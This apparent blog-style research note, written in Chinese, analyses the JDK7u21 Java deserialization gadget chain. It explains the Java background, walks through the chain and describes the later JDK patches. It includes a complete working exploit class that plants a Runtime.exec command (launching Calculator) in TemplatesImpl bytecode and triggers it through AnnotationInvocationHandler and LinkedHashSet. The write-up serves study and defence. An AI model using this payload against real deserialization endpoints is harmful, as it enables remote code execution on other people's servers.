JDK7u21反序列化漏洞分析笔记

0x01 写在前面

JDK7u21原生gadget链的构造十分经典,在对于其构造及思想学习后,写下本文作为笔记。

0x02 所需的知识点

JDK7u21这个链用了很多的Java基础知识点,主要如下:

  • Java 反射
  • javassist 动态修改类
  • Java 静态类加载
  • Java 动态代理
  • hash碰撞

为了方便大家理解此文,因此我会对这些知识点进行简单介绍,如果都了解的朋友可以直接翻到后面的分析过程。

0x03 基础知识

1、Java 反射

反射 (Reflection) 是 Java 的特征之一,在C/C++中是没有反射的,反射的存在使得运行中的 Java 程序能够获取自身的信息,并且可以操作类或对象的内部属性。那么什么是反射呢?

对此, Oracle 官方有着相关解释:

“Reflection enables Java code to discover information about the
fields, methods and constructors of loaded classes, and to use
reflected fields, methods, and constructors to operate on their
underlying counterparts, within security restrictions.”
(反射使Java代码能够发现有关已加载类的字段、方法和构造函数的信息,并在安全限制内使用反射的字段、方法和构造函数对其底层对应的对象进行操作。)

简单来说,通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。同样的,JAVA的反射机制也是如此,在运行状态中,通过 Java 的反射机制,对于任意一个类,我们都能够判断一个对象所属的类;对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。

既然利用Java的反射机制,我们可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值,那么这可能导致安全问题,如果一个攻击者能够通过应用程序创建意外的控制流路径,那么就有可能绕过安全检查发起相关攻击。假设有段代码如下:

  String name = request.getParameter("name");
  Command command = null;
   if (name.equals("Delect")) {
     command = new DelectCommand();
  } else if (ctl.equals("Add")) {
     command = new AddCommand();
  } else {
   ...
  }
  command.doAction(request);

存在一个字段为name,当获取用户请求的name字段后进行判断,如果请求的是 Delect 操作,则执行DelectCommand 函数,若执行的是 Add 操作,则执行 AddCommand 函数,如果不是这两种操作,则执行其他代码。

此时,假如有位开发者看到了这段代码,他觉得可以使用Java 的反射来重构此代码以减少代码行,如下所示:

String name = request.getParameter("name");
  Class ComandClass = Class.forName(name + "Command");
  Command command = (Command) CommandClass.newInstance();
  command.doAction(request);

这样的重构看起来使得代码行减少,消除了if/else块,而且可以在不修改命令分派器的情况下添加新的命令类型,但是如果没有对传入进来的name字段进行限制,那么我们就能实例化实现Command接口的任何对象,从而导致安全问题。实际上,攻击者甚至不局限于本例中的Command接口对象,而是使用任何其他对象来实现,如调用系统中任何对象的默认构造函数,再如调用Runtime对象去执行系统命令,这就可能导致远程命令执行漏洞。

更多关于反射的内容具体可以参考我以前写的这篇文章:https://www.cnpanda.net/codeaudit/705.html

2、javassist 动态修改类

Javaassist 就是一个用来处理 Java 字节码的类库,其主要优点在于简单、便捷。用户不需要了解虚拟机指令,就可以直接使用Java编码的形式,并且可以动态改变类的结构,或者动态生成类。

Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。

  • ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。

  • CtClass:表示一个类,这些 CtClass 对象可以从ClassPool获得。

  • CtMethods:表示类中的方法。

  • CtFields :表示类中的字段。

    Javassit官方文档中给出的代码示例如下

首先获取 ClassPool 的实例,ClassPool 主要用来修改字节码,并且在 ClassPool 中存储着 CtClass 对象,它能够按需创建出 CtClass 对象并提供给后续处理流程使用,当需要进行类修改操作的时候,可以通过 ClassPool 实例的.get()方法,获取CtClass对象。如在上述代码中就是从 pool 中利用 get 方法获取到了test.Rectangle对象,然后将获取到的 CtClass 对象赋值给cc变量。

需要注意的是,从 ClassPool 中获取的 CtClass 对象,是可以被修改的。如在上述代码中,可以看到,原先的父类,由test.Rectangle被改成了test.Point。这种更改可以通过调用CtClass().writeFile()将其持久化到文件中。

可以举个实例来看看,如下代码:

import javassist.*;
public class TestJavassist {
    public static void createPseson() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cls = pool.makeClass("Test");
        CtField param = new CtField(pool.get("java.lang.String"), "test", cls);
        param.setModifiers(Modifier.PRIVATE);
        cls.addField(param, CtField.Initializer.constant("whoami"));
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cls);
        cons.setBody("{test = \"whoami\";}");
        cls.addConstructor(cons);
        cls.writeFile("./");
    }
    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行后,就会生成名为Test.class的文件,如下图所示:

实际上如果反编译该 class 文件,可以得到以下内容:

public class Test{
    private String test = "test";
    public Test(){
        this.test = "whoami";
    }
}

这就是动态修改类的一些知识了。

更具体的可以参考这位老哥写的文章:Javassist中文技术文档 - 程序诗人 - 博客园

3、Java 静态类加载

java 静态类加载属于类加载的一种,类加载即是指JVM虚拟机把.class文件中类信息加载进内存,并进行解析生成对应的class对象的过程,举个通俗点的例子来说,JVM在执行某段代码时,遇到了class A, 然而此时内存中并没有class A 的相关信息,于是 JVM 就会到相应的 class 文件中去寻 找class A的类信息,并加载进内存中,这就是我们所说的类加载过程。

由此可见,JVM不是一开始就把所有的类都加载进内存中,而是只有第一次遇到某个需要运行的类时才会加载,且只加载一次。

类加载的过程主要分为三个部分:加载、链接、初始化,而链接又可以细分为三个小部分:验证、准备、解析。

加载阶段,JVM 将 class 文件字节码内容通过类加载器加载到内存中,并将这些静态数据转换成方法区的运行时数据结构,然后生成一个代表这个类的 java.lang.Class 对象;在链接阶段,主要是将 Java 类的二进制代码合并到 JVM 的运行状态之中,在初始化阶段,主要是对类变量初始化,是执行类构造器的过程。换句话说,只对static修饰的变量或语句进行初始化。如果初始化一个类的时候,其父类尚未初始化,则优先初始化其父类。如果同时包含多个静态变量和静态代码块,则按照自上而下的顺序依次执行。java 静态类加载就是在这个阶段执行的,也就是说 java 静态类加载早于其他类加载。

那么什么时候会发生类初始化呢?

主要是类的主动引用(一定会发生类的初始化),类的主动引用主要指以下情形:

  • 虚拟机启动时,先初始化 main 方法所在的类

  • new 一个类的对象

  • 调用类的静态成员(除了 final 常量)和静态方法

  • 使用 java.lang.refect包的方法对类进行反射调用

  • 当初始化一个类,如果其父类没有被初始化,那么会初始化他的父类

关于类加载,可以参考这个【Class.forName() ClassLoader.loadClass() - 哪个用于动态加载?】:java - Class.forName() vs ClassLoader.loadClass() - which to use for dynamic loading? - Stack Overflow

很有趣的一个讨论

4、Java 动态代理

代理是 Java中的一种设计模式,主要用于提供对目标对象另外的访问方式。即是通过代理对象访问目标对象。这样一来,就可以在目标对象实现的基础上,加强额外的功能操作,起到扩展目标对象的功能。

举个例子来说,我们想买一款国外的产品,但是我们自己不想出国,那么就可以通过代购的方式来获取该产品。代理模式的关键点在于代理对象和目标对象,代理对象是对目标对象的扩展,并且代理对象会调用目标对象。

来谈动态代理前可以理解以下静态代理。

所谓静态代理,就像其名字一样,当确定了代理对象和被代理对象后,无法再去代理另一个对象,比如在生活中,我们找一个专门负责代购口红的代购人员让其代购口红,但是如果想要让其代购笔记本电脑,那么其就无法实现这一要求,因此我们就需要寻找另外一个专门负责代购笔记本电脑的人员,同理,在 Java 静态代理中,如果我们想要实现另一个代理,就需要重新写一个代理对象,如下图所示的就是这个原理:

总的来说,在静态代理中,代理类和被代理的类实现了同样的接口,代理类同时持有被代理类的引用,这样,当我们需要调用被代理类的方法时,可以通过调用代理类的方法来实现,下图所示,就是静态代理实现的示意图。

​ 静态代理的优势很明显,可以让开发人员在不修改已有代码的前提下,去完成一些增强功能的需求,但是静态代理的缺点也很明显,静态代理的使用会由于代理对象要实现与目标对象一致的接口,会产生过多的代理类,造成冗余;其次,大量使用静态代理会使项目不易维护,一旦接口增加方法,目标对象与代理对象都要进行修改。基于这两点,有了动态代理,动态代理的优势在于可以很方便的对代理类的函数进行统一的处理,而不用修改每个代理类中的方法。那对于我们信息安全人员来说,动态代理意味着什么呢?实际上,Java 中的“动态”也就意味着使用了反射,因此动态代理其实是基于反射机制的一种代理模式。

如上图,动态代理和静态代理不同的点在于,动态代理可能有不同的需求(用户),通过动态代理,可以实现多个需求。动态代理其实就是通过实现接口的方式来实现代理,具体来说,动态代理是通过 Proxy 类创建代理对象,然后将接口方法“代理”给 InvocationHandler 接口完成的。

动态代理的关键有两个,即上文中提到的 Proxy 类以及 InvocationHandler 接口,这是我们实现动态代理的核心。

#####Proxy

在JDK中,Java提供了java.lang.reflect.InvocationHandler接口和 java.lang.reflect.Proxy类,这两个类相互配合,其中Proxy类是入口。Proxy类是用来创建一个代理对象的类,它提供了很多方法,如:

  • static InvocationHandler getInvocationHandler(Object proxy)

这个方法主要用于获取指定代理对象所关联的调用程序

  • static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces)

该方法主要用于返回指定接口的代理类

  • static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

该方法主要返回一个指定接口的代理类实例,该接口可以将方法调用指派到指定的调用处理程序。

  • static boolean isProxyClass(Class<?> cl)

当且仅当指定的类通过 getProxyClass 方法或 newProxyInstance 方法动态生成为代理类时,返回 true。这个方法的可靠性对于使用它做出安全决策而言非常重要,所以此方法的实现不应仅测试相关的类是否可以扩展 Proxy。

在上述方法中,我们最常用的是newProxyInstance方法,这个方法的作用是创建一个代理类对象,它接收三个参数,loader、interfaces以及h,各个参数含义如下:

loader:这是一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载。

interfaces:代理类要实现的接口列表,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。

h:指派方法调用的调用处理程序,是一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。

#####InvocationHandler 接口

java.lang.reflect InvocationHandler,主要方法为Object invoke(Object proxy, Method method, Object[] args) ,这个方法定义了代理对象调用方法时希望执行的动作,用于集中处理在动态代理类对象上的方法调用。Invoke 有三个参数,各个参数含义如下:

proxy:在其上调用方法的代理实例

method:对应于在代理实例上调用的接口方法的 Method 实例。 Method 对象的声明类将是在其中声明方法的接口,该接口可以是代理类赖以继承方法的代理接口的超接口。

args:包含传入代理实例上方法调用的参数值的对象数组,如果接口方法不使用参数,则为 null。基本类型的参数被包装在适当基本包装器类(如 java.lang.Integer java.lang.Boolean)的实例中。

以下代码就是一个简单的动态代理的实例:

package main.java.com.ms08067.dtProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class dtProxyDemo {

}

interface Speaker{
    public void speak();
}

class xiaoMing implements Speaker {
    @Override
    public void speak() {
        System.out.println("我有纠纷!");
    }
}


class xiaoHua implements Speaker {
    @Override
    public void speak() {
        System.out.println("我有纠纷!");
    }
}
class LawyerProxy implements InvocationHandler {
    Object obj;

    public LawyerProxy(Object obj){
        this.obj = obj;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if(method.getName().equals("speak")){
            System.out.println("有什么可以帮助你的");
            method.invoke(obj,args);
            System.out.println("根据 XXXX 法律,应该 XXXX");
        }
        return null;
    }
}

class gov{
    public static void main(String[] args) {
    xiaoMing xiaoMing = new xiaoMing();
    xiaoHua xiaoHua = new xiaoHua();
    LawyerProxy xiaoMing_lawyerProxy = new LawyerProxy(xiaoMing);
    LawyerProxy xiaoHua_lawyerProxy = new LawyerProxy(xiaoHua);

    Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoMing_lawyerProxy);
    xiaoMingSpeaker.speak();
    System.out.println("*********************");
    Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoHua_lawyerProxy);
    xiaoHuaSpeaker.speak();
    }
}

以上代码就是使用动态代理的方式,当为某个类或接口指定InvocationHandler对象时(如:LawyerProxy),那么在调用该类或接口方法时,就会去调用指定handlerinvoke()方法(37行)。

运行结果如下图所示:

5、hash碰撞

所谓的 hash碰撞是指两个不同的字符串计算得到的Hash值相同。

如在国外社区上就有人给出了以下计算 hash 值为 0 的代码:

public class hashtest {


    public static void main(String[] args){
        long i = 0;
        loop: while(true){
            String s = Long.toHexString(i);
            if(s.hashCode() == 0){
                System.out.println("Found: '"+s+"'");
               // break loop;
            }
            if(i % 1000000==0){
             //   System.out.println("checked: "+i);
            }
            i++;
        }
    }
}

运行后会得到 hash 值为 0 的字符串,如下图所示:

Found: 'f5a5a608'
Found: '38aeaf9a6'
Found: '4b463c929'
Found: '6d49bc466'
Found: '771ffcd3a'
Found: '792e22588'
Found: '84f7f1613'
Found: '857ed38ce'
Found: '9da576938'
Found: 'a84356f1b'

0x04 jdk7u21 payload

整个gadget链:

终点(要达到的目标):Runtime.exec()
         ||
TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
         ||
 AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
         ||
Proxy(Templates).equals()
         ||
Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)      
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
          ||
 LinkedHashSet.add()
          ||
起点(要读取的内容): LinkedHashSet.readObject()
package src.main.java;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;

import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;

class Reflections {

    public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field != null)
            field.setAccessible(true);
        else if (clazz.getSuperclass() != null)
            field = getField(clazz.getSuperclass(), fieldName);
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
}

class ClassFiles {
    public static String classAsFile(final Class<?> clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(final Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }
        if (suffix) {
            str += ".class";
        }
        return str;
    }

    public static byte[] classAsBytes(final Class<?> clazz) {
        try {
            final byte[] buffer = new byte[1024];
            final String file = classAsFile(clazz);
            final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            }
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            int len;
            while ((len = in.read(buffer)) != -1) {
                out.write(buffer, 0, len);
            }
            return out.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

}

class Gadgets {
    static {
        // 启用SecurityManager时使用TemplatesImpl gadget的特殊情况
        System.setProperty(DESERIALIZE_TRANSLET, "true");
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
     //   private static final long serialVersionUID = -5971610431559700674L;

        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    }

    // required to make TemplatesImpl happy
    public static class Foo implements Serializable {
      //  private static final long serialVersionUID = 8207363842866235160L;
    }

    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
        final Class<?>[] allIfaces
                = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(
                Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
    }

    public static TemplatesImpl createTemplatesImpl() throws Exception {
        final TemplatesImpl templates = new TemplatesImpl();

        // use template gadget class

        // 获取容器ClassPool,注入classpath
        ClassPool pool = ClassPool.getDefault();
       // System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));

        // 获取已经编译好的类
       // System.out.println("ClassName: " + StubTransletPayload.class.getName());
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());

        // 在静态的的构造方法中插入payload
        clazz.makeClassInitializer()
                .insertAfter("java.lang.Runtime.getRuntime().exec(\""
                        +"open -a Calculator"
                        + "\");");

        // 给payload类设置一个名称
        // 允许重复执行的唯一名称(注意 PermGen 耗尽)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());

        // 获取该类的字节码
        final byte[] classBytes = clazz.toBytecode();
        //System.out.println(Arrays.toString(classBytes));

        // 将类字节注入实例
        Reflections.setFieldValue(
                templates,
                "_bytecodes",
                new byte[][] {
                        classBytes,
                        ClassFiles.classAsBytes(Foo.class)
                });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 只要触发这个方法就能执行我们注入的bytecodes
        // templates.getOutputProperties();

        return templates;
    }
}


public class exp {

    public Object buildPayload() throws Exception {
        // 生成 evil 模板,如果触发 templates.getOutputProperties(),可以执行命令
        Object templates = Gadgets.createTemplatesImpl();

        // magic string, zeroHashCodeStr.hashCode() == 0
        String zeroHashCodeStr = "f5a5a608";

        // build a hash map, and put our evil templates in it.
        HashMap map = new HashMap();
        //map.put(zeroHashCodeStr, "foo");  // Not necessary

        // Generate proxy's handler,use `AnnotationInvocationHandler` as proxy's handler
        // When proxy is done,all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler's invoke method.
        Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
//        Reflections.setFieldValue(tempHandler, "type", Templates.class);  // not necessary, because newInstance() already pass Templates.class to tempHandler
        Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

       // Reflections.setFieldValue(templates, "_auxClasses", null);
       // Reflections.setFieldValue(templates, "_class", null);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);     // save evil templates
        set.add(proxy);         // proxy

        map.put(zeroHashCodeStr, templates);

        return set;
    }

    public static void main(String[] args) throws Exception {
        exp exploit = new exp();
        Object payload = exploit.buildPayload();
        // test payload
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
        oos.writeObject(payload);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
        ois.readObject();
    }

}

结合payload看分析,明白payload为什么这样写,更容易帮助我们理解这个漏洞。

0x05 漏洞分析

如果分析过 CC 链或者看过 CC 链分析文章的朋友,一定知道在 CC 链中可以当成命令执行的载体有以下两个类:

  • org.apache.commons.collections.functors.ChainedTransformer

  • org.apache.xalan.xsltc.trax.TemplatesImpl

我们知道要想实现 RCE 就必须要调用一个命令执行类,Runtime.getRuntime().exec(),CC 链中的org.apache.commons.collections.functors.ChainedTransformer类就存在可以用于对象之间转换的Transformer接口,它有几个我们用得着的实现类,ConstantTransformer、InvokerTransformer以及ChainedTransformer,利用这几个对象,就可以构造出一个可以执行命令的链,从而达到命令执行的目的。

但若是没找到可以用于对象之间转换的接口或者这些接口在黑名单中怎么办呢?

当依赖或者源程序中不存在可以执行命令的方法时,可以选择使用TemplatesImpl作为命令执行载体,并想办法去触发它的newTransformergetOutputProperties方法

也就是上面我们所说的第二个类org.apache.xalan.xsltc.trax.TemplatesImpl,这个类是 jdk7u21 原生 gadget 链中我们需要当初命令执行载体的类。

那么这个类如果构建 evil 类需要满足哪些条件呢?已经有师傅总结成了以下几个条件:

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。
  5. 执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
  6. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  7. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,通常使用jdk自带的TransformerFactoryImpl()

TemplatesImpl有四个方法:

  • TemplatesImpl.getOutputProperties()
  • TemplatesImpl.newTransformer()
  • TemplatesImpl.getTransletInstance()
  • TemplatesImpl.defineTransletClasses()

但是对于后两个来说,是private方法,只能被对象可调用方法间接调用,而前两者是public方法,可以被对象直接调用。

那么第一阶段我们便明白了——利用TemplatesImpl注入我们要构造的恶意类,然后想办法触发它的newTransformergetOutputProperties方法。

怎么触发?frohoff给了我们答案——AnnotationInvocationHandler.invoke

那么这个方法为何能够触发呢?继续翻源码!

 public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        ...
    }

可以看到当调用方法为 equals并满足相关条件时,会继续调用内部方法equalsImpl(),跟进equalsImpl()

 private Boolean equalsImpl(Object o) {
        if (o == this)
            return true;
        if (!type.isInstance(o))
            return false;
        for (Method memberMethod : getMemberMethods()) {
            String member = memberMethod.getName();
            Object ourValue = memberValues.get(member);
            Object hisValue = null;
            AnnotationInvocationHandler hisHandler = asOneOfUs(o);
            if (hisHandler != null) {
                hisValue = hisHandler.memberValues.get(member);
            } else {
                try {
                    hisValue = memberMethod.invoke(o);
                } catch (InvocationTargetException e) {
                    return false;
                } catch (IllegalAccessException e) {
                    throw new AssertionError(e);
                }
            }
            if (!memberValueEquals(ourValue, hisValue))
                return false;
        }
        return true;
    }

equalsImpl()方法里,会首先判断传入的 Object 对象是否为 type 对象的实例,然后调用 type class 的所有方法,再依次调用。

这样分析下来就清楚了,只要我们在实例化AnnotationInvocationHandler时传入Templates.class,然后令equals()的参数为 type 的实现类就可以实现getOutputProperties方法的触发。

到这里我们的问题又来了。

接下来的后续链又如何寻找呢?

其实在这个类的开始,有一段话如下:

InvocationHandler for dynamic proxy implementation of Annotation.

InvocationHandler 用于 Annotation 的动态代理实现。

那么根据前面动态代理相关的知识我们知道,当为某个类或接口指定InvocationHandler对象时,在调用该类或接口方法时,就会去调用指定handlerinvoke()方法。因此,当我们使用AnnotationInvocationHandler创建proxy object,那么调用的所有方法都会变成对invoke方法的调用。

也就是说,我们需要使用 AnnotationInvocationHandler 创建 Proxy Object 并让其代理 Templates 接口,然后再调用proxy objectequals 方法,将Templates当成参数传入就完成了前部分链的组装。

现在,我们的目标实际上就变成了如何调用Proxy.equals(EvilTemplates.class)

现在让我们总结一下能寻找到满足条件场景的条件:

  • 要能够调用 proxy 的 equals 方法(这是我们刚才分析的)
  • 要有反序列化接口——要能调用readObject() 方法(这样才可以将我们的序列化数据传进去开始反序列化)

不向下说,我们先来看看ysoserial中的反序列化载体有哪些:

  • AnnotationInvocationHandler (CC1、CC3、 Groovy1)

  • PriorityQueue (CC2、CC4)

  • BadAttributeValueExpException (CC5、 MozillaRhino1 )

  • HashSet (CC6)

  • HashMap ( Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME )

  • org.jboss.interceptor.proxy.InterceptorMethodHandler ( JBossInterceptors1 、 JavassistWeld1 )

  • org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider ( Spring1 、 Spring2 )

这些反序列化载体中大多数是通过对元素进行一些操作,然后触发了后续链的调用。

实际上我猜测jdk7u21的作者frohoff可能也是通过这样的思考最终找到了LinkedHashSet类。

LinkedHashSet 位于 java.util 包内,是HashSet的子类,向其添加到 set 的元素会保持有序状态,并且在LinkedHashSet.readObject()的方法中,当各元素被放进HashMap时,第二个元素会调用equals()与第一个元素进行比较——这样一来恰好就满足了我们上面所说的两个条件。

所以在这里我们只要反序列化过程中让Pproxy Object 先添加,然后再添加包含恶意代码的实例,就会变成,Proxy.equals(EvilTemplates.class),它被代理给AnnotationInvocationHandler类,并且进入equalsImpl()方法,在getMemberMethods()遍历TemplatesImpl的方法遇到getOutputProperties进行调用时,导致命令执行,从而完美的实现了整个攻击链。

到这里其实整个漏洞就分析完了,但是在LinkedHashSet链中还有一个有意思的地方。

LinkedHashSet --> HashSet --> HashSet.readObject() --> HashMap.put()

// 将指定值与此映射中的指定键相关联
  public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key.hashCode());
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
// 关键点
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }
        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

put方法里,有一个条件:if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

如果想要走到key.equals(k)就必须满足e.hash == hash并且k!=e.key

对于k == e.key很好判断,因为 EvilTemplates newInstance != Proxy Object,那e.hash == hash应该如何判断呢?

实际上看源代码就知道,要让127 * ((String)var3.getKey()).hashCode()的结果等于0 ,也就是(String)var3.getKey()).hashCode()的值要为零,这样才可以满足那个if判断。

这里利用的其实就是hash碰撞。

经过碰撞我们得到了碰撞的第一个结果f5a5a608,也就是 payload 中的map.put('f5a5a608', templates);这样写的原因。

整个流程可以总结成如下的思维导图:

0x06 漏洞修复

互联网上对于jdk7u21原生gadget链修复方式有两种讨论。

第一种:

第二种:

实际上经过我的测试发现,其实这两种说法都没有问题。

首先来看存在漏洞的最后一个版本(611bcd930ed1):jdk7u/jdk7u/jdk: 611bcd930ed1 src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

查看其 children 版本(0ca6cbe3f350):jdk7u/jdk7u/jdk: 0ca6cbe3f350 src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

compare一下:

// 改之前
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
           return;
        }

// 改之后
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

可以发现,在第一次的修复中,官方采用的方法是网上的第二种讨论,即将以前的 return 改成了抛出异常。

继续查看0ca6cbe3f350children版本(654a386b6c32):jdk7u/jdk7u/jdk: 654a386b6c32 src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

可以发现在 AnnotationInvocationHandler构造方法的一开始的位置,就对于this.type进行了校验。

// 改之前:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

// 改之后:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

此外,除了在构造方法处的验证,在其获取成员方法时,也做了验证:

验证内容如下:

private void validateAnnotationMethods(Method[] memberMethods) {
        boolean valid = true;
        for(Method method : memberMethods) {
            if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) ||
                method.getParameterTypes().length != 0 ||
                method.getExceptionTypes().length != 0) {
                valid = false;
                break;
            }
Class<?> returnType = method.getReturnType();
            if (returnType.isArray()) {
                returnType = returnType.getComponentType();
                if (returnType.isArray()) { // Only single dimensional arrays
                    valid = false;
                    break;
                }
            }
            if (!((returnType.isPrimitive() && returnType != void.class) ||
                  returnType == java.lang.String.class ||
                  returnType == java.lang.Class.class ||
                  returnType.isEnum() ||
                  returnType.isAnnotation())) {
                valid = false;
                break;
            }
            String methodName = method.getName();
            if ((methodName.equals("toString") && returnType == java.lang.String.class) ||
                (methodName.equals("hashCode") && returnType == int.class) ||
                (methodName.equals("annotationType") && returnType == java.lang.Class.class)) {
                valid = false;
                break;
            }
        }
        if (valid)
            return;
        else
            throw new AnnotationFormatError("Malformed method on an annotation type");
    }

validateAnnotationMethods验证方法对注解类型中声明的方法进行了限制,禁止了包含静态方法和声明的方法,要求注释类型必须采用零个参数并且对返回类型也做了限制。

